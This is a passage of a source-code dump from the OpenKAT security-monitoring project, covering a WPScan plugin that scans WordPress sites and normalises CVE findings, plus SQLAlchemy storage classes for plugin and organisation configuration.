= f\"{input_['scheme']}://{input_['netloc']['name']}{input_['path']}\"\n\n    image_png, har_zip, storage_json = run_playwright(webpage=webpage, browser=BROWSER)\n\n    return [\n        ({\"image/png\"}, image_png),\n        ({\"application/zip+json\", \"application/har+json\"}, har_zip),\n        ({\"application/json\", \"application/localstorage+json\"}, storage_json),\n    ]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/wp-scan:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nUSER root\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends ruby-dev build-essential libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev libgmp-dev zlib1g-dev && \\\n    gem install wpscan\n\nCOPY ./images/requirements.txt ./requirements.txt\nRUN --mount=type=cache,target=/root/.cache pip install --upgrade pip &&  \\\n    pip install -r requirements.txt\nUSER nonroot\n\nCOPY ./boefjes/plugins/kat_wpscan ./kat_wpscan\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/boefje.json",
    "content": "{\n  \"id\": \"wp-scan\",\n  \"name\": \"WPScan\",\n  \"description\": \"Scans WordPress websites.\",\n  \"consumes\": [\n    \"SoftwareInstance\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-wp-scan:latest\",\n  \"oci_arguments\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/description.md",
    "content": "# WP scan\n\nThe WPScan is a black box WordPress security scanner written for security professionals and blog maintainers to test the\nsecurity of their WordPress sites. The WPScan tool uses a database of 23,679 WordPress vulnerabilities. WPScan requires\nan API key when performing less than 25 scans per day.\n\n### Input OOIs\n\nShodan expects a Url object of a WordPress website as input. Performing the WPScan on a non-WordPress website yields no\nresults.\n\n### Output OOIs\n\nWPScan outputs the following OOIs:\n\n| OOI type       | Description                                                            |\n| -------------- | ---------------------------------------------------------------------- |\n| CveFindingType | Known vulnerability of WordPress or WordPress plugins on the input Url |\n| Finding        | Finding                                                                |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/main.py",
    "content": "\"\"\"Boefje script for scanning wordpress sites using wpscan\"\"\"\n\nimport subprocess\nfrom os import getenv\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    info_mimetype = {\"openkat/deschedule\"}\n\n    if input_[\"software\"][\"name\"] != \"WordPress\":\n        return [(info_mimetype, \"Not wordpress.\")]\n    if \"netloc\" not in input_[\"ooi\"] or \"name\" not in input_[\"ooi\"][\"netloc\"]:\n        return [(info_mimetype, \"No hostname available for input OOI.\")]\n\n    hostname = input_[\"ooi\"][\"netloc\"][\"name\"]\n    path = input_[\"ooi\"][\"path\"]\n    scheme = input_[\"ooi\"][\"scheme\"]\n\n    if scheme != \"https\":\n        return [(info_mimetype, \"To avoid double findings, we only scan https urls.\")]\n\n    url = f\"{scheme}://{hostname}{path}\"\n\n    argv = [\"--url\", url, \"--format\", \"json\", \"--plugins-version-detection\", \"aggressive\"]\n    if wpscan_api_token := getenv(\"WP_SCAN_API\"):\n        argv += [\"--api-token\", wpscan_api_token]\n\n    output = subprocess.run([\"/usr/local/bin/wpscan\"] + argv, capture_output=True)\n    output.check_returncode()\n\n    return [({\"openkat/wp-scan\"}, output.stdout.decode())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom wpscan_out_parse import WPScanJsonParser\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    url_reference = Reference.from_str(input_ooi[\"primary_key\"])\n\n    if raw:\n        data = json.loads(raw.decode())\n        results = WPScanJsonParser(data)\n        for alert in results.get_alerts():\n            lines = alert.splitlines()\n            for line in lines:\n                if \"CVE: \" in line:\n                    cve = line.split(\"=\")\n                    id_ = cve[-1]\n                    if \"CVE-\" in id_:\n                        ft = CVEFindingType(id=id_)\n                        yield ft\n                        finding = Finding(\n                            finding_type=ft.reference, ooi=url_reference, description=alert.splitlines()[0]\n                        )\n                        yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/normalizer.json",
    "content": "{\n  \"id\": \"kat_wpscan_normalize\",\n  \"name\": \"WPscan\",\n  \"description\": \"Creates findings from WPscan data.\",\n  \"consumes\": [\n    \"boefje/wp-scan\",\n    \"openkat/wp-scan\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wpscan/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"WP_SCAN_API\": {\n      \"title\": \"WordPress Vulnerability Database API token\",\n      \"maxLength\": 128,\n      \"type\": \"string\",\n      \"description\": \"An optional WordPress Vulnerability Database API token to retrieve WordPress vulnerability data in real time. See https://wpscan.com/api and https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation#optional-wordpress-vulnerability-database-api for more information.\"\n    }\n  },\n  \"secret\": [\n    \"WP_SCAN_API\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/seed.py",
    "content": "import structlog\n\nstructlog.get_logger(__name__).warning(\"This module has been phased out in v1.16.0 and will be removed in v1.17.0\")\n"
  },
  {
    "path": "boefjes/boefjes/sql/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/sql/config_storage.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterator\n\nfrom sqlalchemy.orm import Session\n\nfrom boefjes.config import EncryptionMiddleware\nfrom boefjes.config import settings as config_settings\nfrom boefjes.dependencies.encryption import EncryptMiddleware, IdentityMiddleware, NaclBoxMiddleware\nfrom boefjes.sql.db import ObjectNotFoundException, session_managed_iterator\nfrom boefjes.sql.db_models import BoefjeConfigInDB, BoefjeInDB, NormalizerConfigInDB, NormalizerInDB, OrganisationInDB\nfrom boefjes.sql.session import SessionMixin\nfrom boefjes.storage.interfaces import ConfigNotFound, ConfigStorage, OrganisationNotFound, PluginNotFound\nfrom boefjes.worker.models import BoefjeConfig\n\nlogger = logging.getLogger(__name__)\n\n\nclass SQLConfigStorage(SessionMixin, ConfigStorage):\n    def __init__(self, session: Session, encryption: EncryptMiddleware):\n        self.encryption = encryption\n\n        super().__init__(session)\n\n    def list_boefje_configs(\n        self,\n        offset: int,\n        limit: int | None,\n        organisation_id: str | None = None,\n        boefje_id: str | None = None,\n        enabled: bool | None = None,\n        with_duplicates: bool = False,  # Only has effect if both organisation_id and boefje_id are set\n    ) -> list[BoefjeConfig]:\n        query = self.session.query(BoefjeConfigInDB)\n\n        if boefje_id is not None:\n            query = query.join(BoefjeInDB, BoefjeConfigInDB.boefje_id == BoefjeInDB.id).filter(\n                BoefjeInDB.plugin_id == boefje_id\n            )\n\n        if enabled is not None:\n            query = query.filter(BoefjeConfigInDB.enabled == enabled)\n\n        if organisation_id is not None:\n            query = query.join(OrganisationInDB, BoefjeConfigInDB.organisation_pk == OrganisationInDB.pk).filter(\n                OrganisationInDB.id == organisation_id\n            )\n\n        # It's not possible to query this in the database directly since with encryption enabled, the settings are\n        # encrypted with a nonce. Hence distinct encrypted settings could be identical once decrypted.\n        if all([organisation_id, boefje_id, with_duplicates]):\n            # The unique constraint on boefje_id and organisation_id ensures at most 1 result\n            config = query.offset(offset).limit(limit).first()\n\n            if config is None:\n                return []\n\n            query = (\n                self.session.query(BoefjeConfigInDB)\n                .join(BoefjeInDB, BoefjeConfigInDB.boefje_id == BoefjeInDB.id)\n                .join(OrganisationInDB, BoefjeConfigInDB.organisation_pk == OrganisationInDB.pk)\n                .filter(BoefjeInDB.plugin_id == config.boefje.plugin_id)\n                .filter(BoefjeConfigInDB.enabled == config.enabled)\n                .filter(BoefjeConfigInDB.id != config.id)\n                .filter(OrganisationInDB.deduplicate == True)  # noqa: E712\n                .filter(BoefjeInDB.deduplicate == True)  # noqa: E712\n            )\n\n            parsed = self._to_boefje_config(config)\n            parsed.duplicates = [\n                duplicate\n                for duplicate in [self._to_boefje_config(config) for config in query.all()]\n                if duplicate.settings == parsed.settings\n            ]\n\n            return [parsed]\n\n        return [self._to_boefje_config(x) for x in query.offset(offset).limit(limit).all()]\n\n    def upsert(\n        self, organisation_id: str, plugin_id: str, settings: dict | None = None, enabled: bool | None = None\n    ) -> None:\n        try:\n            instance = self._db_instance_by_id(organisation_id, plugin_id)\n\n            if settings is not None:\n                if isinstance(instance, NormalizerConfigInDB):\n                    raise ValueError(\"Normalizer config does not have settings\")\n\n                instance.settings = self.encryption.encode(json.dumps(settings))\n            if enabled is not None:\n                instance.enabled = enabled\n        except ConfigNotFound:\n            organisation = self.session.query(OrganisationInDB).filter(OrganisationInDB.id == organisation_id).first()\n\n            if not organisation:\n                raise OrganisationNotFound(organisation_id)\n\n            boefje = self.session.query(BoefjeInDB).filter(BoefjeInDB.plugin_id == plugin_id).first()\n\n            if boefje:\n                config = BoefjeConfigInDB(boefje_id=boefje.id, organisation_pk=organisation.pk)\n\n                if settings is not None:\n                    config.settings = self.encryption.encode(json.dumps(settings))\n\n                if enabled is not None:\n                    config.enabled = enabled\n\n                self.session.add(config)\n                return\n\n            normalizer = self.session.query(NormalizerInDB).filter(NormalizerInDB.plugin_id == plugin_id).first()\n\n            if not normalizer:\n                raise PluginNotFound(plugin_id)\n\n            normalizer_config = NormalizerConfigInDB(normalizer_id=normalizer.id, organisation_pk=organisation.pk)\n\n            if enabled is not None:\n                normalizer_config.enabled = enabled\n\n            self.session.add(normalizer_config)\n\n    def get_all_settings(self, organisation_id: str, plugin_id: str) -> dict:\n        try:\n            instance = self._db_instance_by_id(organisation_id, plugin_id)\n        except ConfigNotFound:\n            return {}\n\n        settings = self._convert_settings(instance)\n\n        return settings\n\n    def _convert_settings(self, instance):\n        if not instance.settings or instance.settings == \"{}\":  # Handle empty settings and the server default of \"{}\"\n            settings = {}\n        else:\n            settings = json.loads(self.encryption.decode(instance.settings))\n        return settings\n\n    def delete(self, organisation_id: str, plugin_id: str) -> None:\n        instance = self._db_instance_by_id(organisation_id, plugin_id)\n\n        self.session.delete(instance)\n\n    def is_enabled_by_id(self, plugin_id: str, organisation_id: str) -> bool:\n        instance = self._db_instance_by_id(organisation_id, plugin_id)\n\n        return instance.enabled\n\n    def get_enabled_boefjes(self, organisation_id: str) -> list[str]:\n        enabled_boefjes = (\n            self.session.query(BoefjeInDB.plugin_id)\n            .join(BoefjeConfigInDB)\n            .filter(BoefjeConfigInDB.boefje_id == BoefjeInDB.id)\n            .join(OrganisationInDB)\n            .filter(BoefjeConfigInDB.organisation_pk == OrganisationInDB.pk)\n            .filter(OrganisationInDB.id == organisation_id)\n            .filter(BoefjeConfigInDB.enabled)\n        )\n        return [x[0] for x in enabled_boefjes.all()]\n\n    def get_enabled_normalizers(self, organisation_id: str) -> list[str]:\n        enabled_normalizers = (\n            self.session.query(NormalizerInDB.plugin_id)\n            .join(NormalizerConfigInDB)\n            .filter(NormalizerConfigInDB.normalizer_id == NormalizerInDB.id)\n            .join(OrganisationInDB)\n            .filter(NormalizerConfigInDB.organisation_pk == OrganisationInDB.pk)\n            .filter(OrganisationInDB.id == organisation_id)\n            .filter(NormalizerConfigInDB.enabled)\n        )\n\n        return [plugin[0] for plugin in enabled_normalizers.all()]\n\n    def get_disabled_boefjes(self, organisation_id: str) -> list[str]:\n        enabled_boefjes = (\n            self.session.query(BoefjeInDB.plugin_id)\n            .join(BoefjeConfigInDB)\n            .filter(BoefjeConfigInDB.boefje_id == BoefjeInDB.id)\n            .join(OrganisationInDB)\n            .filter(BoefjeConfigInDB.organisation_pk == OrganisationInDB.pk)\n            .filter(OrganisationInDB.id == organisation_id)\n            .filter(BoefjeConfigInDB.enabled == False)  # noqa: E712\n        )\n        return [x[0] for x in enabled_boefjes.all()]\n\n    def get_disabled_normalizers(self, organisation_id: str) -> list[str]:\n        enabled_normalizers = (\n            self.session.query(NormalizerInDB.plugin_id)\n            .join(NormalizerConfigInDB)\n            .filter(NormalizerConfigInDB.normalizer_id == NormalizerInDB.id)\n            .join(OrganisationInDB)\n            .filter(NormalizerConfigInDB.organisation_pk == OrganisationInDB.pk)\n            .filter(OrganisationInDB.id == organisation_id)\n            .filter(NormalizerConfigInDB.enabled == False)  # noqa: E712\n        )\n\n        return [plugin[0] for plugin in enabled_normalizers.all()]\n\n    def get_states_for_organisation(self, organisation_id: str) -> dict[str, bool]:\n        enabled_boefjes = (\n            self.session.query(BoefjeInDB.plugin_id, BoefjeConfigInDB.enabled)\n            .join(BoefjeConfigInDB)\n            .filter(BoefjeConfigInDB.boefje_id == BoefjeInDB.id)\n            .join(OrganisationInDB)\n            .filter(BoefjeConfigInDB.organisation_pk == OrganisationInDB.pk)\n            .filter(OrganisationInDB.id == organisation_id)\n        )\n        enabled_normalizers = (\n            self.session.query(NormalizerInDB.plugin_id, NormalizerConfigInDB.enabled)\n            .join(NormalizerConfigInDB)\n            .filter(NormalizerConfigInDB.normalizer_id == NormalizerInDB.id)\n            .join(OrganisationInDB)\n            .filter(NormalizerConfigInDB.organisation_pk == OrganisationInDB.pk)\n            .filter(OrganisationInDB.id == organisation_id)\n        )\n\n        return {plugin[0]: plugin[1] for plugin in enabled_boefjes.union_all(enabled_normalizers).all()}\n\n    def _db_instance_by_id(self, organisation_id: str, plugin_id: str) -> BoefjeConfigInDB | NormalizerConfigInDB:\n        instance = (\n            self.session.query(BoefjeConfigInDB)\n            .join(OrganisationInDB)\n            .join(BoefjeInDB)\n            .filter(BoefjeConfigInDB.organisation_pk == OrganisationInDB.pk)\n            .filter(BoefjeConfigInDB.boefje_id == BoefjeInDB.id)\n            .filter(BoefjeInDB.plugin_id == plugin_id)\n            .filter(OrganisationInDB.id == organisation_id)\n            .first()\n        )\n\n        if instance is None:\n            instance = (\n                self.session.query(NormalizerConfigInDB)\n                .join(OrganisationInDB)\n                .join(NormalizerInDB)\n                .filter(NormalizerConfigInDB.organisation_pk == OrganisationInDB.pk)\n                .filter(NormalizerConfigInDB.normalizer_id == NormalizerInDB.id)\n                .filter(NormalizerInDB.plugin_id == plugin_id)\n                .filter(OrganisationInDB.id == organisation_id)\n                .first()\n            )\n\n            if instance is None:\n                raise ConfigNotFound(organisation_id, plugin_id) from ObjectNotFoundException(\n                    BoefjeConfigInDB | NormalizerConfigInDB, organisation_id=organisation_id\n                )\n\n        return instance\n\n    def _to_boefje_config(self, boefe_config_in_db: BoefjeConfigInDB) -> BoefjeConfig:\n        return BoefjeConfig(\n            id=boefe_config_in_db.id,\n            settings=self._convert_settings(boefe_config_in_db),\n            enabled=boefe_config_in_db.enabled,\n            boefje_id=boefe_config_in_db.boefje.plugin_id,\n            organisation_id=boefe_config_in_db.organisation.id,\n        )\n\n\ndef create_config_storage(session) -> ConfigStorage:\n    encrypter = create_encrypter()\n    return SQLConfigStorage(session, encrypter)\n\n\ndef get_config_storage() -> Iterator[ConfigStorage]:\n    yield from session_managed_iterator(create_config_storage)\n\n\ndef create_encrypter():\n    if config_settings.encryption_middleware == EncryptionMiddleware.NACL_SEALBOX:\n        return NaclBoxMiddleware(config_settings.katalogus_private_key, config_settings.katalogus_public_key)\n\n    return IdentityMiddleware()\n"
  },
  {
    "path": "boefjes/boefjes/sql/db.py",
    "content": "from collections.abc import Callable, Iterator\nfrom functools import cache\nfrom types import UnionType\nfrom typing import Any\n\nimport structlog\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.engine import Engine, make_url\nfrom sqlalchemy.orm import Session, declarative_base, sessionmaker\n\nfrom boefjes.config import settings\n\nlogger = structlog.get_logger(__name__)\n\nSQL_BASE = declarative_base()\n\n\n@cache\ndef get_engine() -> Engine:\n    \"\"\"Returns database engine according to config settings.\"\"\"\n    db_uri = make_url(name_or_url=str(settings.katalogus_db_uri))\n    db_uri_redacted = db_uri.render_as_string(hide_password=True)\n    logger.info(\"Connecting to database %s with pool size %s...\", db_uri_redacted, settings.db_connection_pool_size)\n\n    engine = create_engine(\n        url=db_uri,\n        pool_pre_ping=True,\n        pool_size=settings.db_connection_pool_size,\n        connect_args={\"options\": \"-c timezone=utc\"},\n    )\n\n    logger.info(\"Connected to database %s\", db_uri_redacted)\n\n    return engine\n\n\ndef session_managed_iterator(service_factory: Callable[[Session], Any]) -> Iterator[Any]:\n    \"\"\"For FastApi-style managing of sessions life cycle within a request.\"\"\"\n\n    session = sessionmaker(bind=get_engine())()\n    service = service_factory(session)\n\n    try:\n        yield service\n    except Exception as error:\n        logger.error(\"An error occurred: %s. Rolling back session\", error)\n        session.rollback()\n        raise error\n    finally:\n        logger.debug(\"Closing session for %s\", service.__class__)\n        session.close()\n\n\nclass ObjectNotFoundException(Exception):\n    def __init__(self, cls: type | UnionType, **kwargs):\n        super().__init__(f\"The object of type {cls} was not found for query parameters {kwargs}\")\n"
  },
  {
    "path": "boefjes/boefjes/sql/db_models.py",
    "content": "from enum import Enum\n\nfrom sqlalchemy import Boolean, Column, ForeignKey, Integer, String, UniqueConstraint, types\nfrom sqlalchemy.orm import relationship\n\nfrom boefjes.sql.db import SQL_BASE\nfrom boefjes.worker.models import RunOn\n\n\nclass ScanLevel(Enum):\n    L0 = 0\n    L1 = 1\n    L2 = 2\n    L3 = 3\n    L4 = 4\n\n\nclass RunOnDB(Enum):\n    CREATE = \"create\"\n    UPDATE = \"update\"\n    CREATE_UPDATE = \"create_update\"\n\n    @classmethod\n    def from_run_ons(cls, run_ons: list[RunOn] | None):\n        if run_ons is None:\n            return None\n\n        match sorted(run_ons):\n            case [RunOn.CREATE]:\n                return cls.CREATE\n            case [RunOn.UPDATE]:\n                return cls.UPDATE\n            case [RunOn.CREATE, RunOn.UPDATE]:\n                return cls.CREATE_UPDATE\n            case _:\n                return None\n\n    def to_run_ons(self) -> list[RunOn]:\n        match self:\n            case RunOnDB.CREATE:\n                return [RunOn.CREATE]\n            case RunOnDB.UPDATE:\n                return [RunOn.UPDATE]\n            case RunOnDB.CREATE_UPDATE:\n                return [RunOn.CREATE, RunOn.UPDATE]\n\n\nclass OrganisationInDB(SQL_BASE):\n    __tablename__ = \"organisation\"\n\n    pk = Column(Integer, primary_key=True, autoincrement=True)\n    id = Column(String(length=32), unique=True, nullable=False)\n    name = Column(String(length=64), nullable=False)\n    deduplicate = Column(Boolean, nullable=False, server_default=\"true\")\n\n\nclass BoefjeConfigInDB(SQL_BASE):\n    __tablename__ = \"boefje_config\"\n    __table_args__ = (\n        UniqueConstraint(\"organisation_pk\", \"boefje_id\", name=\"unique_boefje_config_per_organisation_per_boefje\"),\n    )\n\n    id = Column(Integer, primary_key=True, autoincrement=True)\n    settings = Column(String(length=512), nullable=False, server_default=\"{}\")\n    enabled = Column(Boolean, nullable=False, server_default=\"false\")\n    boefje_id = Column(Integer, ForeignKey(\"boefje.id\", ondelete=\"CASCADE\"), nullable=False)\n\n    organisation_pk = Column(Integer, ForeignKey(\"organisation.pk\", ondelete=\"CASCADE\"), nullable=False)\n    organisation = relationship(\"OrganisationInDB\")\n    boefje = relationship(\"BoefjeInDB\")\n\n\nclass NormalizerConfigInDB(SQL_BASE):\n    __tablename__ = \"normalizer_config\"\n    __table_args__ = (\n        UniqueConstraint(\n            \"organisation_pk\", \"normalizer_id\", name=\"unique_normalizer_config_per_organisation_per_normalizer\"\n        ),\n    )\n\n    id = Column(Integer, primary_key=True, autoincrement=True)\n    enabled = Column(Boolean, nullable=False, server_default=\"false\")\n    normalizer_id = Column(Integer, ForeignKey(\"normalizer.id\", ondelete=\"CASCADE\"), nullable=False)\n\n    organisation_pk = Column(Integer, ForeignKey(\"organisation.pk\", ondelete=\"CASCADE\"), nullable=False)\n    organisation = relationship(\"OrganisationInDB\")\n\n\nclass BoefjeInDB(SQL_BASE):\n    __tablename__ = \"boefje\"\n\n    id = Column(types.Integer, primary_key=True, autoincrement=True)\n    plugin_id = Column(types.String(length=64), nullable=False, unique=True)\n    created = Column(types.DateTime(timezone=True), nullable=True)\n    static = Column(Boolean, nullable=False, server_default=\"false\")\n    deduplicate = Column(Boolean, nullable=False, server_default=\"true\")\n\n    # Metadata\n    name = Column(String(length=64), nullable=False, unique=True)\n    description = Column(types.Text, nullable=True)\n    scan_level = Column(types.Enum(*[str(x.value) for x in ScanLevel], name=\"scan_level\"), nullable=False, default=\"4\")\n\n    # Job specifications\n    consumes = Column(types.ARRAY(types.String(length=128)), default=lambda: [], nullable=False)\n    produces = Column(types.ARRAY(types.String(length=128)), default=lambda: [], nullable=False)\n    schema = Column(types.JSON(), nullable=True)\n    cron = Column(types.String(length=128), nullable=True)\n    interval = Column(types.Integer, nullable=True)\n    run_on = Column(types.Enum(*[x.value for x in RunOnDB], name=\"run_on\"), nullable=True)\n\n    # Image specifications\n    oci_image = Column(types.String(length=256), nullable=True)\n    oci_arguments = Column(types.ARRAY(types.String(length=128)), default=lambda: [], nullable=False)\n    version = Column(types.String(length=16), nullable=True)\n\n\nclass NormalizerInDB(SQL_BASE):\n    __tablename__ = \"normalizer\"\n\n    id = Column(types.Integer, primary_key=True, autoincrement=True)\n    plugin_id = Column(types.String(length=64), nullable=False, unique=True)\n    created = Column(types.DateTime(timezone=True), nullable=True)\n    static = Column(Boolean, nullable=False, server_default=\"false\")\n\n    # Metadata\n    name = Column(String(length=64), nullable=False, unique=True)\n    description = Column(types.Text, nullable=True)\n\n    # Job specifications\n    consumes = Column(types.ARRAY(types.String(length=128)), default=lambda: [], nullable=False)\n    produces = Column(types.ARRAY(types.String(length=128)), default=lambda: [], nullable=False)\n    version = Column(types.String(length=16), nullable=True)\n"
  },
  {
    "path": "boefjes/boefjes/sql/organisation_storage.py",
    "content": "from collections.abc import Iterator\n\nimport structlog\nfrom sqlalchemy.orm import Session\n\nfrom boefjes.config import Settings, settings\nfrom boefjes.sql.db import ObjectNotFoundException, session_managed_iterator\nfrom boefjes.sql.db_models import OrganisationInDB\nfrom boefjes.sql.session import SessionMixin\nfrom boefjes.storage.interfaces import OrganisationNotFound, OrganisationStorage\nfrom boefjes.worker.models import Organisation\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SQLOrganisationStorage(SessionMixin, OrganisationStorage):\n    def __init__(self, session: Session, app_settings: Settings):\n        self.app_settings = app_settings\n\n        super().__init__(session)\n\n    def get_by_id(self, organisation_id: str) -> Organisation:\n        instance = self._db_instance_by_id(organisation_id)\n\n        return self.to_organisation(instance)\n\n    def get_all(self) -> dict[str, Organisation]:\n        query = self.session.query(OrganisationInDB)\n\n        return {organisation.id: self.to_organisation(organisation) for organisation in query.all()}\n\n    def create(self, organisation: Organisation) -> None:\n        logger.info(\"Saving organisation: %s\", organisation.model_dump(mode=\"json\"))\n\n        organisation_in_db = self.to_organisation_in_db(organisation)\n        self.session.add(organisation_in_db)\n\n    def update(self, organisation: Organisation) -> None:\n        instance = self._db_instance_by_id(organisation.id)\n        instance.name = organisation.name\n        instance.deduplicate = organisation.deduplicate\n\n    def delete_by_id(self, organisation_id: str) -> None:\n        instance = self._db_instance_by_id(organisation_id)\n\n        self.session.delete(instance)\n\n    def _db_instance_by_id(self, organisation_id: str) -> OrganisationInDB:\n        instance = self.session.query(OrganisationInDB).filter(OrganisationInDB.id == organisation_id).first()\n\n        if instance is None:\n            raise OrganisationNotFound(organisation_id) from ObjectNotFoundException(\n                OrganisationInDB, id=organisation_id\n            )\n\n        return instance\n\n    @staticmethod\n    def to_organisation_in_db(organisation: Organisation) -> OrganisationInDB:\n        return OrganisationInDB(id=organisation.id, name=organisation.name, deduplicate=organisation.deduplicate)\n\n    @staticmethod\n    def to_organisation(organisation_in_db: OrganisationInDB) -> Organisation:\n        return Organisation(\n            id=organisation_in_db.id, name=organisation_in_db.name, deduplicate=organisation_in_db.deduplicate\n        )\n\n\ndef create_organisation_storage(session: Session) -> SQLOrganisationStorage:\n    return SQLOrganisationStorage(session, settings)\n\n\ndef get_organisations_store() -> Iterator[OrganisationStorage]:\n    yield from session_managed_iterator(create_organisation_storage)\n"
  },
  {
    "path": "boefjes/boefjes/sql/plugin_storage.py",
    "content": "from collections.abc import Iterator\n\nimport structlog\nfrom sqlalchemy.orm import Session\n\nfrom boefjes.config import Settings, settings\nfrom boefjes.sql.db import ObjectNotFoundException, session_managed_iterator\nfrom boefjes.sql.db_models import BoefjeInDB, NormalizerInDB, RunOnDB\nfrom boefjes.sql.session import SessionMixin\nfrom boefjes.storage.interfaces import NotAllowed, PluginNotFound, PluginStorage\nfrom boefjes.worker.models import Boefje, Normalizer, PluginType\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SQLPluginStorage(SessionMixin, PluginStorage):\n    def __init__(self, session: Session, app_settings: Settings):\n        self.app_settings = app_settings\n\n        super().__init__(session)\n\n    def get_all(self) -> list[PluginType]:\n        boefjes = [self.to_boefje(boefje) for boefje in self.session.query(BoefjeInDB).all()]\n        normalizers = [self.to_normalizer(normalizer) for normalizer in self.session.query(NormalizerInDB).all()]\n        return boefjes + normalizers\n\n    def boefje_by_id(self, boefje_id: str) -> Boefje:\n        instance = self._db_boefje_instance_by_id(boefje_id)\n\n        return self.to_boefje(instance)\n\n    def normalizer_by_id(self, normalizer_id: str) -> Normalizer:\n        instance = self._db_normalizer_instance_by_id(normalizer_id)\n\n        return self.to_normalizer(instance)\n\n    def create_boefje(self, boefje: Boefje) -> None:\n        logger.info(\"Saving plugin: %s\", boefje.model_dump(mode=\"json\"))\n\n        boefje_in_db = self.to_boefje_in_db(boefje)\n        self.session.add(boefje_in_db)\n\n    def update_boefje(self, boefje_id: str, data: dict) -> None:\n        if not data:\n            return\n\n        instance = self._db_boefje_instance_by_id(boefje_id)\n\n        if instance.static:\n            raise NotAllowed(f\"Plugin with id '{boefje_id}' is static, so updating it is not allowed\")\n\n        boefje = self.to_boefje(instance).copy(update=data)\n        self.session.merge(self.to_boefje_in_db(boefje, instance.id))\n\n    def create_normalizer(self, normalizer: Normalizer) -> None:\n        logger.info(\"Saving plugin: %s\", normalizer.model_dump(mode=\"json\"))\n\n        normalizer_in_db = self.to_normalizer_in_db(normalizer)\n        self.session.add(normalizer_in_db)\n\n    def update_normalizer(self, normalizer_id: str, data: dict) -> None:\n        if not data:\n            return\n\n        instance = self._db_normalizer_instance_by_id(normalizer_id)\n\n        if instance.static:\n            raise NotAllowed(f\"Plugin with id '{normalizer_id}' is static, so updating it is not allowed\")\n\n        normalizer = self.to_normalizer(instance).copy(update=data)\n        self.session.merge(self.to_normalizer_in_db(normalizer, instance.id))\n\n    def delete_boefje_by_id(self, boefje_id: str) -> None:\n        instance = self._db_boefje_instance_by_id(boefje_id)\n\n        self.session.delete(instance)\n\n    def delete_normalizer_by_id(self, normalizer_id: str) -> None:\n        instance = self._db_normalizer_instance_by_id(normalizer_id)\n\n        self.session.delete(instance)\n\n    def _db_boefje_instance_by_id(self, boefje_id: str) -> BoefjeInDB:\n        instance = self.session.query(BoefjeInDB).filter(BoefjeInDB.plugin_id == boefje_id).first()\n\n        if instance is None:\n            raise PluginNotFound(boefje_id) from ObjectNotFoundException(BoefjeInDB, id=boefje_id)\n\n        return instance\n\n    def _db_normalizer_instance_by_id(self, normalizer_id: str) -> NormalizerInDB:\n        instance = self.session.query(NormalizerInDB).filter(NormalizerInDB.plugin_id == normalizer_id).first()\n\n        if instance is None:\n            raise PluginNotFound(normalizer_id) from ObjectNotFoundException(NormalizerInDB, id=normalizer_id)\n\n        return instance\n\n    @staticmethod\n    def to_boefje_in_db(boefje: Boefje, pk: int | None = None) -> BoefjeInDB:\n        run_on_db = RunOnDB.from_run_ons(boefje.run_on)\n        boefje = BoefjeInDB(\n            plugin_id=boefje.id,\n            created=boefje.created,\n            name=boefje.name,\n            description=boefje.description,\n            scan_level=str(boefje.scan_level),\n            consumes=boefje.consumes,\n            produces=boefje.produces,\n            schema=boefje.boefje_schema,\n            cron=boefje.cron,\n            interval=boefje.interval,\n            run_on=run_on_db.value if run_on_db is not None else None,\n            oci_image=boefje.oci_image,\n            oci_arguments=boefje.oci_arguments,\n            version=boefje.version,\n            static=boefje.static,\n            deduplicate=boefje.deduplicate,\n        )\n\n        if pk is not None:\n            boefje.id = pk\n\n        return boefje\n\n    @staticmethod\n    def to_normalizer_in_db(normalizer: Normalizer, pk: int | None = None) -> NormalizerInDB:\n        normalizer = NormalizerInDB(\n            plugin_id=normalizer.id,\n            created=normalizer.created,\n            name=normalizer.name,\n            description=normalizer.description,\n            consumes=normalizer.consumes,\n            produces=normalizer.produces,\n            version=normalizer.version,\n            static=normalizer.static,\n        )\n\n        if pk is not None:\n            normalizer.id = pk\n\n        return normalizer\n\n    @staticmethod\n    def to_boefje(boefje_in_db: BoefjeInDB) -> Boefje:\n        return Boefje(\n            id=boefje_in_db.plugin_id,\n            name=boefje_in_db.name,\n            plugin_id=boefje_in_db.id,\n            created=boefje_in_db.created,\n            description=boefje_in_db.description,\n            scan_level=int(boefje_in_db.scan_level),\n            consumes=boefje_in_db.consumes,\n            produces=boefje_in_db.produces,\n            boefje_schema=boefje_in_db.schema,\n            cron=boefje_in_db.cron,\n            